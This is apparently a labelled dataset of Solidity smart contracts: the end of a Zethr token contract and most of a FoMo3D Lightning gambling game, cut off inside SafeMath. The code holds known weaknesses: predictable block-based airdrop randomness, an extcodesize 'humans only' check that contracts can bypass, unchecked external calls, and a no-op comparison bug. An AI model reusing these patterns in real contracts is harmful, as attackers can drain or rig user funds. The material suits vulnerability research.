frontTokenBalanceLedger_[_toAddress] = frontTokenBalanceLedger_[_toAddress].add(_amountOfFrontEndTokens);
dividendTokenBalanceLedger_[_customerAddress] = dividendTokenBalanceLedger_[_customerAddress].sub(_amountOfDivTokens);
dividendTokenBalanceLedger_[_toAddress] = dividendTokenBalanceLedger_[_toAddress].add(_amountOfDivTokens);
if(!userSelectedRate[_toAddress])
{
userSelectedRate[_toAddress] = true;
userDividendRate[_toAddress] = userDividendRate[_customerAddress];
}
payoutsTo_[_customerAddress] -= (int256) (profitPerDivToken * _amountOfDivTokens);
payoutsTo_[_toAddress] += (int256) (profitPerDivToken * _amountOfDivTokens);
uint length;
assembly {
length := extcodesize(_toAddress)
}
if (length > 0){
ERC223Receiving receiver = ERC223Receiving(_toAddress);
receiver.tokenFallback(_from, _amountOfTokens, _data);
}
emit Transfer(_customerAddress, _toAddress, _amountOfFrontEndTokens);
}
function withdrawFrom(address _customerAddress)
internal
{
uint _dividends = theDividendsOf(false, _customerAddress);
payoutsTo_[_customerAddress] += (int256) (_dividends * magnitude);
_dividends += referralBalance_[_customerAddress];
referralBalance_[_customerAddress] = 0;
_customerAddress.transfer(_dividends);
emit onWithdraw(_customerAddress, _dividends);
}
function injectEther()
public
payable
onlyAdministrator
{
}
function toPowerOfThreeHalves(uint x) public pure returns (uint) {
return sqrt(x**3);
}
function toPowerOfTwoThirds(uint x) public pure returns (uint) {
return cbrt(x**2);
}
function sqrt(uint x) public pure returns (uint y) {
uint z = (x + 1) / 2;
y = x;
while (z < y) {
y = z;
z = (x / z + z) / 2;
}
}
function cbrt(uint x) public pure returns (uint y) {
uint z = (x + 1) / 3;
y = x;
while (z < y) {
y = z;
z = (x / (z*z) + 2 * z) / 3;
}
}
}
contract ZethrDividendCards {
function ownerOf(uint ) public pure returns (address) {}
function receiveDividends(uint ) public payable {}
}
contract ZethrBankroll{
function receiveDividends() public payable {}
}
contract ERC223Receiving {
function tokenFallback(address _from, uint _amountOfTokens, bytes _data) public returns (bool);
}
library SafeMath {
function mul(uint a, uint b) internal pure returns (uint) {
if (a == 0) {
return 0;
}
uint c = a * b;
assert(c / a == b);
return c;
}
function div(uint a, uint b) internal pure returns (uint) {
uint c = a / b;
return c;
}
function sub(uint a, uint b) internal pure returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal pure returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
} | 1 | 4,276 |
pragma solidity ^0.4.24;
contract F3Devents {
event onNewName
(
uint256 indexed playerID,
address indexed playerAddress,
bytes32 indexed playerName,
bool isNewPlayer,
uint256 affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 amountPaid,
uint256 timeStamp
);
event onEndTx
(
uint256 compressedData,
uint256 compressedIDs,
bytes32 playerName,
address playerAddress,
uint256 ethIn,
uint256 keysBought,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount,
uint256 potAmount,
uint256 airDropPot
);
event onWithdraw
(
uint256 indexed playerID,
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 timeStamp
);
event onWithdrawAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethOut,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onBuyAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 ethIn,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onReLoadAndDistribute
(
address playerAddress,
bytes32 playerName,
uint256 compressedData,
uint256 compressedIDs,
address winnerAddr,
bytes32 winnerName,
uint256 amountWon,
uint256 newPot,
uint256 P3DAmount,
uint256 genAmount
);
event onAffiliatePayout
(
uint256 indexed affiliateID,
address affiliateAddress,
bytes32 affiliateName,
uint256 indexed roundID,
uint256 indexed buyerID,
uint256 amount,
uint256 timeStamp
);
event onPotSwapDeposit
(
uint256 roundID,
uint256 amountAddedToPot
);
}
contract modularShort is F3Devents {}
contract FoMo3DLightning is modularShort {
using SafeMath for *;
using NameFilter for string;
using F3DKeysCalcShort for uint256;
uint256 public pID_ = 4;
address private admin = msg.sender;
string constant public name = "FOMO Lightning";
string constant public symbol = "F4D";
uint256 private rndExtra_ = 1 minutes;
uint256 private rndGap_ = 1 minutes;
uint256 constant private rndInit_ = 2 minutes;
uint256 constant private rndInc_ = 10 seconds;
uint256 constant private rndMax_ = 5 minutes;
uint256 public airDropPot_;
uint256 public airDropTracker_ = 0;
uint256 public rID_;
mapping (address => uint256) public pIDxAddr_;
mapping (bytes32 => uint256) public pIDxName_;
mapping (uint256 => F3Ddatasets.Player) public plyr_;
mapping (uint256 => mapping (uint256 => F3Ddatasets.PlayerRounds)) public plyrRnds_;
mapping (uint256 => mapping (bytes32 => bool)) public plyrNames_;
mapping (uint256 => F3Ddatasets.Round) public round_;
mapping (uint256 => mapping(uint256 => uint256)) public rndTmEth_;
mapping (uint256 => F3Ddatasets.TeamFee) public fees_;
mapping (uint256 => F3Ddatasets.PotSplit) public potSplit_;
constructor()
public
{
fees_[0] = F3Ddatasets.TeamFee(49,2);
fees_[1] = F3Ddatasets.TeamFee(49,2);
fees_[2] = F3Ddatasets.TeamFee(49,2);
fees_[3] = F3Ddatasets.TeamFee(49,2);
potSplit_[0] = F3Ddatasets.PotSplit(38,2);
potSplit_[1] = F3Ddatasets.PotSplit(38,2);
potSplit_[2] = F3Ddatasets.PotSplit(38,2);
potSplit_[3] = F3Ddatasets.PotSplit(38,2);
}
modifier isActivated() {
require(activated_ == true, "its not ready yet. check ?eta in discord");
_;
}
modifier isHuman() {
address _addr = msg.sender;
uint256 _codeLength;
assembly {_codeLength := extcodesize(_addr)}
require(_codeLength == 0, "sorry humans only");
_;
}
modifier isWithinLimits(uint256 _eth) {
require(_eth >= 1000000000, "pocket lint: not a valid currency");
require(_eth <= 100000000000000000000000, "no vitalik, no");
_;
}
function()
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_;
if (determinePID(msg.sender)) {
_eventData_.compressedData = _eventData_.compressedData + 1;
}
uint256 _pID = pIDxAddr_[msg.sender];
buyCore(_pID, plyr_[_pID].laff, 2, _eventData_);
}
function determinePID(address _addr)
private
returns (bool)
{
if (pIDxAddr_[_addr] == 0)
{
pID_++;
pIDxAddr_[_addr] = pID_;
plyr_[pID_].addr = _addr;
return (true);
} else {
return (false);
}
}
function buyXid(uint256 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_;
if (determinePID(msg.sender)) {
_eventData_.compressedData = _eventData_.compressedData + 1;
}
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
buyCore(_pID, _affCode, _team, _eventData_);
}
function buyXaddr(address _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_;
if (determinePID(msg.sender)) {
_eventData_.compressedData = _eventData_.compressedData + 1;
}
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function buyXname(bytes32 _affCode, uint256 _team)
isActivated()
isHuman()
isWithinLimits(msg.value)
public
payable
{
F3Ddatasets.EventReturns memory _eventData_;
if (determinePID(msg.sender)) {
_eventData_.compressedData = _eventData_.compressedData + 1;
}
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
buyCore(_pID, _affID, _team, _eventData_);
}
function reLoadXid(uint256 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
if (_affCode == 0 || _affCode == _pID)
{
_affCode = plyr_[_pID].laff;
} else if (_affCode != plyr_[_pID].laff) {
plyr_[_pID].laff = _affCode;
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affCode, _team, _eth, _eventData_);
}
function reLoadXaddr(address _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == address(0) || _affCode == msg.sender)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxAddr_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function reLoadXname(bytes32 _affCode, uint256 _team, uint256 _eth)
isActivated()
isHuman()
isWithinLimits(_eth)
public
{
F3Ddatasets.EventReturns memory _eventData_;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _affID;
if (_affCode == '' || _affCode == plyr_[_pID].name)
{
_affID = plyr_[_pID].laff;
} else {
_affID = pIDxName_[_affCode];
if (_affID != plyr_[_pID].laff)
{
plyr_[_pID].laff = _affID;
}
}
_team = verifyTeam(_team);
reLoadCore(_pID, _affID, _team, _eth, _eventData_);
}
function withdraw()
isActivated()
isHuman()
public
{
uint256 _rID = rID_;
uint256 _now = now;
uint256 _pID = pIDxAddr_[msg.sender];
uint256 _eth;
if (_now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
F3Ddatasets.EventReturns memory _eventData_;
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onWithdrawAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eth,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
} else {
_eth = withdrawEarnings(_pID);
if (_eth > 0)
plyr_[_pID].addr.transfer(_eth);
emit F3Devents.onWithdraw(_pID, msg.sender, plyr_[_pID].name, _eth, _now);
}
}
function getBuyPrice()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(1000000000000000000)).ethRec(1000000000000000000) );
else
return ( 75000000000000 );
}
function getTimeLeft()
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now < round_[_rID].end)
if (_now > round_[_rID].strt + rndGap_)
return( (round_[_rID].end).sub(_now) );
else
return( (round_[_rID].strt + rndGap_).sub(_now) );
else
return(0);
}
function getPlayerVaults(uint256 _pID)
public
view
returns(uint256 ,uint256, uint256)
{
uint256 _rID = rID_;
if (now > round_[_rID].end && round_[_rID].ended == false && round_[_rID].plyr != 0)
{
if (round_[_rID].plyr == _pID)
{
return
(
(plyr_[_pID].win).add( ((round_[_rID].pot).mul(48)) / 100 ),
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add( getPlayerVaultsHelper(_pID, _rID).sub(plyrRnds_[_pID][_rID].mask) ),
plyr_[_pID].aff
);
}
} else {
return
(
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff
);
}
}
function getPlayerVaultsHelper(uint256 _pID, uint256 _rID)
private
view
returns(uint256)
{
return( ((((round_[_rID].mask).add(((((round_[_rID].pot).mul(potSplit_[round_[_rID].team].gen)) / 100).mul(1000000000000000000)) / (round_[_rID].keys))).mul(plyrRnds_[_pID][_rID].keys)) / 1000000000000000000) );
}
function getCurrentRoundInfo()
public
view
returns(uint256, uint256, uint256, uint256, uint256, uint256, uint256, address, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
return
(
round_[_rID].ico,
_rID,
round_[_rID].keys,
round_[_rID].end,
round_[_rID].strt,
round_[_rID].pot,
(round_[_rID].team + (round_[_rID].plyr * 10)),
plyr_[round_[_rID].plyr].addr,
plyr_[round_[_rID].plyr].name,
rndTmEth_[_rID][0],
rndTmEth_[_rID][1],
rndTmEth_[_rID][2],
rndTmEth_[_rID][3],
airDropTracker_ + (airDropPot_ * 1000)
);
}
function getPlayerInfoByAddress(address _addr)
public
view
returns(uint256, bytes32, uint256, uint256, uint256, uint256, uint256)
{
uint256 _rID = rID_;
if (_addr == address(0))
{
_addr == msg.sender;
}
uint256 _pID = pIDxAddr_[_addr];
return
(
_pID,
plyr_[_pID].name,
plyrRnds_[_pID][_rID].keys,
plyr_[_pID].win,
(plyr_[_pID].gen).add(calcUnMaskedEarnings(_pID, plyr_[_pID].lrnd)),
plyr_[_pID].aff,
plyrRnds_[_pID][_rID].eth
);
}
function buyCore(uint256 _pID, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
core(_rID, _pID, msg.value, _affID, _team, _eventData_);
} else {
if (_now > round_[_rID].end && round_[_rID].ended == false)
{
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onBuyAndDistribute
(
msg.sender,
plyr_[_pID].name,
msg.value,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
plyr_[_pID].gen = plyr_[_pID].gen.add(msg.value);
}
}
function reLoadCore(uint256 _pID, uint256 _affID, uint256 _team, uint256 _eth, F3Ddatasets.EventReturns memory _eventData_)
private
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
{
plyr_[_pID].gen = withdrawEarnings(_pID).sub(_eth);
core(_rID, _pID, _eth, _affID, _team, _eventData_);
} else if (_now > round_[_rID].end && round_[_rID].ended == false) {
round_[_rID].ended = true;
_eventData_ = endRound(_eventData_);
_eventData_.compressedData = _eventData_.compressedData + (_now * 1000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID;
emit F3Devents.onReLoadAndDistribute
(
msg.sender,
plyr_[_pID].name,
_eventData_.compressedData,
_eventData_.compressedIDs,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount
);
}
}
function core(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
{
if (plyrRnds_[_pID][_rID].keys == 0)
_eventData_ = managePlayer(_pID, _eventData_);
if (round_[_rID].eth < 100000000000000000000 && plyrRnds_[_pID][_rID].eth.add(_eth) > 2100000000000000000)
{
uint256 _availableLimit = (2100000000000000000).sub(plyrRnds_[_pID][_rID].eth);
uint256 _refund = _eth.sub(_availableLimit);
plyr_[_pID].gen = plyr_[_pID].gen.add(_refund);
_eth = _availableLimit;
}
if (_eth > 1000000000)
{
uint256 _keys = (round_[_rID].eth).keysRec(_eth);
if (_keys >= 1000000000000000000)
{
updateTimer(_keys, _rID);
if (round_[_rID].plyr != _pID)
round_[_rID].plyr = _pID;
if (round_[_rID].team != _team)
round_[_rID].team = _team;
_eventData_.compressedData = _eventData_.compressedData + 100;
}
if (_eth >= 100000000000000000)
{
airDropTracker_++;
if (airdrop() == true)
{
uint256 _prize;
if (_eth >= 10000000000000000000)
{
_prize = ((airDropPot_).mul(75)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
} else if (_eth >= 1000000000000000000 && _eth < 10000000000000000000) {
_prize = ((airDropPot_).mul(50)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 200000000000000000000000000000000;
} else if (_eth >= 100000000000000000 && _eth < 1000000000000000000) {
_prize = ((airDropPot_).mul(25)) / 100;
plyr_[_pID].win = (plyr_[_pID].win).add(_prize);
airDropPot_ = (airDropPot_).sub(_prize);
_eventData_.compressedData += 300000000000000000000000000000000;
}
_eventData_.compressedData += 10000000000000000000000000000000;
_eventData_.compressedData += _prize * 1000000000000000000000000000000000;
airDropTracker_ = 0;
}
}
_eventData_.compressedData = _eventData_.compressedData + (airDropTracker_ * 1000);
plyrRnds_[_pID][_rID].keys = _keys.add(plyrRnds_[_pID][_rID].keys);
plyrRnds_[_pID][_rID].eth = _eth.add(plyrRnds_[_pID][_rID].eth);
round_[_rID].keys = _keys.add(round_[_rID].keys);
round_[_rID].eth = _eth.add(round_[_rID].eth);
rndTmEth_[_rID][_team] = _eth.add(rndTmEth_[_rID][_team]);
_eventData_ = distributeExternal(_rID, _pID, _eth, _affID, _team, _eventData_);
_eventData_ = distributeInternal(_rID, _pID, _eth, _team, _keys, _eventData_);
endTx(_pID, _team, _eth, _keys, _eventData_);
}
}
function calcUnMaskedEarnings(uint256 _pID, uint256 _rIDlast)
private
view
returns(uint256)
{
return( (((round_[_rIDlast].mask).mul(plyrRnds_[_pID][_rIDlast].keys)) / (1000000000000000000)).sub(plyrRnds_[_pID][_rIDlast].mask) );
}
function calcKeysReceived(uint256 _rID, uint256 _eth)
public
view
returns(uint256)
{
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].eth).keysRec(_eth) );
else
return ( (_eth).keys() );
}
function iWantXKeys(uint256 _keys)
public
view
returns(uint256)
{
uint256 _rID = rID_;
uint256 _now = now;
if (_now > round_[_rID].strt + rndGap_ && (_now <= round_[_rID].end || (_now > round_[_rID].end && round_[_rID].plyr == 0)))
return ( (round_[_rID].keys.add(_keys)).ethRec(_keys) );
else
return ( (_keys).eth() );
}
function verifyTeam(uint256 _team)
private
pure
returns (uint256)
{
if (_team < 0 || _team > 3)
return(2);
else
return(_team);
}
function managePlayer(uint256 _pID, F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
if (plyr_[_pID].lrnd != 0)
updateGenVault(_pID, plyr_[_pID].lrnd);
plyr_[_pID].lrnd = rID_;
_eventData_.compressedData = _eventData_.compressedData + 10;
return(_eventData_);
}
function endRound(F3Ddatasets.EventReturns memory _eventData_)
private
returns (F3Ddatasets.EventReturns)
{
uint256 _rID = rID_;
uint256 _winPID = round_[_rID].plyr;
uint256 _winTID = round_[_rID].team;
uint256 _pot = round_[_rID].pot;
uint256 _win = (_pot.mul(48)) / 100;
uint256 _com = (_pot / 50);
uint256 _gen = (_pot.mul(potSplit_[_winTID].gen)) / 100;
uint256 _p3d = (_pot.mul(potSplit_[_winTID].p3d)) / 100;
uint256 _res = (((_pot.sub(_win)).sub(_com)).sub(_gen)).sub(_p3d);
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
uint256 _dust = _gen.sub((_ppt.mul(round_[_rID].keys)) / 1000000000000000000);
if (_dust > 0)
{
_gen = _gen.sub(_dust);
_res = _res.add(_dust);
}
plyr_[_winPID].win = _win.add(plyr_[_winPID].win);
admin.transfer(_com);
admin.transfer(_p3d.sub(_p3d / 2));
round_[_rID].pot = _pot.add(_p3d / 2);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
_eventData_.compressedData = _eventData_.compressedData + (round_[_rID].end * 1000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + (_winPID * 100000000000000000000000000) + (_winTID * 100000000000000000);
_eventData_.winnerAddr = plyr_[_winPID].addr;
_eventData_.winnerName = plyr_[_winPID].name;
_eventData_.amountWon = _win;
_eventData_.genAmount = _gen;
_eventData_.P3DAmount = _p3d;
_eventData_.newPot = _res;
rID_++;
_rID++;
round_[_rID].strt = now;
round_[_rID].end = now.add(rndInit_).add(rndGap_);
round_[_rID].pot = _res;
return(_eventData_);
}
function updateGenVault(uint256 _pID, uint256 _rIDlast)
private
{
uint256 _earnings = calcUnMaskedEarnings(_pID, _rIDlast);
if (_earnings > 0)
{
plyr_[_pID].gen = _earnings.add(plyr_[_pID].gen);
plyrRnds_[_pID][_rIDlast].mask = _earnings.add(plyrRnds_[_pID][_rIDlast].mask);
}
}
function updateTimer(uint256 _keys, uint256 _rID)
private
{
uint256 _now = now;
uint256 _newTime;
if (_now > round_[_rID].end && round_[_rID].plyr == 0)
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(_now);
else
_newTime = (((_keys) / (1000000000000000000)).mul(rndInc_)).add(round_[_rID].end);
if (_newTime < (rndMax_).add(_now))
round_[_rID].end = _newTime;
else
round_[_rID].end = rndMax_.add(_now);
}
function airdrop()
private
view
returns(bool)
{
uint256 seed = uint256(keccak256(abi.encodePacked(
(block.timestamp).add
(block.difficulty).add
((uint256(keccak256(abi.encodePacked(block.coinbase)))) / (now)).add
(block.gaslimit).add
((uint256(keccak256(abi.encodePacked(msg.sender)))) / (now)).add
(block.number)
)));
if((seed - ((seed / 1000) * 1000)) < airDropTracker_)
return(true);
else
return(false);
}
function distributeExternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _affID, uint256 _team, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _p1 = _eth / 100;
uint256 _com = _eth / 50;
_com = _com.add(_p1);
uint256 _p3d;
if (!address(admin).call.value(_com)())
{
_p3d = _com;
_com = 0;
}
uint256 _aff = _eth / 10;
if (_affID != _pID && plyr_[_affID].name != '') {
plyr_[_affID].aff = _aff.add(plyr_[_affID].aff);
emit F3Devents.onAffiliatePayout(_affID, plyr_[_affID].addr, plyr_[_affID].name, _rID, _pID, _aff, now);
} else {
_p3d = _aff;
}
_p3d = _p3d.add((_eth.mul(fees_[_team].p3d)) / (100));
if (_p3d > 0)
{
uint256 _potAmount = _p3d / 2;
admin.transfer(_p3d.sub(_potAmount));
round_[_rID].pot = round_[_rID].pot.add(_potAmount);
_eventData_.P3DAmount = _p3d.add(_eventData_.P3DAmount);
}
return(_eventData_);
}
function potSwap()
external
payable
{
uint256 _rID = rID_ + 1;
round_[_rID].pot = round_[_rID].pot.add(msg.value);
emit F3Devents.onPotSwapDeposit(_rID, msg.value);
}
function distributeInternal(uint256 _rID, uint256 _pID, uint256 _eth, uint256 _team, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
returns(F3Ddatasets.EventReturns)
{
uint256 _gen = (_eth.mul(fees_[_team].gen)) / 100;
uint256 _air = (_eth / 100);
airDropPot_ = airDropPot_.add(_air);
_eth = _eth.sub(((_eth.mul(14)) / 100).add((_eth.mul(fees_[_team].p3d)) / 100));
uint256 _pot = _eth.sub(_gen);
uint256 _dust = updateMasks(_rID, _pID, _gen, _keys);
if (_dust > 0)
_gen = _gen.sub(_dust);
round_[_rID].pot = _pot.add(_dust).add(round_[_rID].pot);
_eventData_.genAmount = _gen.add(_eventData_.genAmount);
_eventData_.potAmount = _pot;
return(_eventData_);
}
function updateMasks(uint256 _rID, uint256 _pID, uint256 _gen, uint256 _keys)
private
returns(uint256)
{
uint256 _ppt = (_gen.mul(1000000000000000000)) / (round_[_rID].keys);
round_[_rID].mask = _ppt.add(round_[_rID].mask);
uint256 _pearn = (_ppt.mul(_keys)) / (1000000000000000000);
plyrRnds_[_pID][_rID].mask = (((round_[_rID].mask.mul(_keys)) / (1000000000000000000)).sub(_pearn)).add(plyrRnds_[_pID][_rID].mask);
return(_gen.sub((_ppt.mul(round_[_rID].keys)) / (1000000000000000000)));
}
function withdrawEarnings(uint256 _pID)
private
returns(uint256)
{
updateGenVault(_pID, plyr_[_pID].lrnd);
uint256 _earnings = (plyr_[_pID].win).add(plyr_[_pID].gen).add(plyr_[_pID].aff);
if (_earnings > 0)
{
plyr_[_pID].win = 0;
plyr_[_pID].gen = 0;
plyr_[_pID].aff = 0;
}
return(_earnings);
}
function endTx(uint256 _pID, uint256 _team, uint256 _eth, uint256 _keys, F3Ddatasets.EventReturns memory _eventData_)
private
{
_eventData_.compressedData = _eventData_.compressedData + (now * 1000000000000000000) + (_team * 100000000000000000000000000000);
_eventData_.compressedIDs = _eventData_.compressedIDs + _pID + (rID_ * 10000000000000000000000000000000000000000000000000000);
emit F3Devents.onEndTx
(
_eventData_.compressedData,
_eventData_.compressedIDs,
plyr_[_pID].name,
msg.sender,
_eth,
_keys,
_eventData_.winnerAddr,
_eventData_.winnerName,
_eventData_.amountWon,
_eventData_.newPot,
_eventData_.P3DAmount,
_eventData_.genAmount,
_eventData_.potAmount,
airDropPot_
);
}
bool public activated_ = false;
function activate()
public
{
require(msg.sender == admin);
require(activated_ == false);
activated_ = true;
rID_ = 1;
round_[1].strt = now + rndExtra_ - rndGap_;
round_[1].end = now + rndInit_ + rndExtra_;
}
}
library F3Ddatasets {
struct EventReturns {
uint256 compressedData;
uint256 compressedIDs;
address winnerAddr;
bytes32 winnerName;
uint256 amountWon;
uint256 newPot;
uint256 P3DAmount;
uint256 genAmount;
uint256 potAmount;
}
struct Player {
address addr;
bytes32 name;
uint256 win;
uint256 gen;
uint256 aff;
uint256 lrnd;
uint256 laff;
}
struct PlayerRounds {
uint256 eth;
uint256 keys;
uint256 mask;
uint256 ico;
}
struct Round {
uint256 plyr;
uint256 team;
uint256 end;
bool ended;
uint256 strt;
uint256 keys;
uint256 eth;
uint256 pot;
uint256 mask;
uint256 ico;
uint256 icoGen;
uint256 icoAvg;
}
struct TeamFee {
uint256 gen;
uint256 p3d;
}
struct PotSplit {
uint256 gen;
uint256 p3d;
}
}
library F3DKeysCalcShort {
using SafeMath for *;
function keysRec(uint256 _curEth, uint256 _newEth)
internal
pure
returns (uint256)
{
return(keys((_curEth).add(_newEth)).sub(keys(_curEth)));
}
function ethRec(uint256 _curKeys, uint256 _sellKeys)
internal
pure
returns (uint256)
{
return((eth(_curKeys)).sub(eth(_curKeys.sub(_sellKeys))));
}
function keys(uint256 _eth)
internal
pure
returns(uint256)
{
return ((((((_eth).mul(1000000000000000000)).mul(312500000000000000000000000)).add(5624988281256103515625000000000000000000000000000000000000000000)).sqrt()).sub(74999921875000000000000000000000)) / (156250000);
}
function eth(uint256 _keys)
internal
pure
returns(uint256)
{
return ((78125000).mul(_keys.sq()).add(((149999843750000).mul(_keys.mul(1000000000000000000))) / (2))) / ((1000000000000000000).sq());
}
}
interface PlayerBookInterface {
function getPlayerID(address _addr) external returns (uint256);
function getPlayerName(uint256 _pID) external view returns (bytes32);
function getPlayerLAff(uint256 _pID) external view returns (uint256);
function getPlayerAddr(uint256 _pID) external view returns (address);
function getNameFee() external view returns (uint256);
function registerNameXIDFromDapp(address _addr, bytes32 _name, uint256 _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXaddrFromDapp(address _addr, bytes32 _name, address _affCode, bool _all) external payable returns(bool, uint256);
function registerNameXnameFromDapp(address _addr, bytes32 _name, bytes32 _affCode, bool _all) external payable returns(bool, uint256);
}
library NameFilter {
function nameFilter(string _input)
internal
pure
returns(bytes32)
{
bytes memory _temp = bytes(_input);
uint256 _length = _temp.length;
require (_length <= 32 && _length > 0, "string must be between 1 and 32 characters");
require(_temp[0] != 0x20 && _temp[_length-1] != 0x20, "string cannot start or end with space");
if (_temp[0] == 0x30)
{
require(_temp[1] != 0x78, "string cannot start with 0x");
require(_temp[1] != 0x58, "string cannot start with 0X");
}
bool _hasNonNumber;
for (uint256 i = 0; i < _length; i++)
{
if (_temp[i] > 0x40 && _temp[i] < 0x5b)
{
_temp[i] = byte(uint(_temp[i]) + 32);
if (_hasNonNumber == false)
_hasNonNumber = true;
} else {
require
(
_temp[i] == 0x20 ||
(_temp[i] > 0x60 && _temp[i] < 0x7b) ||
(_temp[i] > 0x2f && _temp[i] < 0x3a),
"string contains invalid characters"
);
if (_temp[i] == 0x20)
require( _temp[i+1] != 0x20, "string cannot contain consecutive spaces");
if (_hasNonNumber == false && (_temp[i] < 0x30 || _temp[i] > 0x39))
_hasNonNumber = true;
}
}
require(_hasNonNumber == true, "string cannot be only numbers");
bytes32 _ret;
assembly {
_ret := mload(add(_temp, 32))
}
return (_ret);
}
}
library SafeMath {
function mul(uint256 a, uint256 b)
internal
pure
returns (uint256 c)
{
if (a == 0) {
return 0;
}
c = a * b;
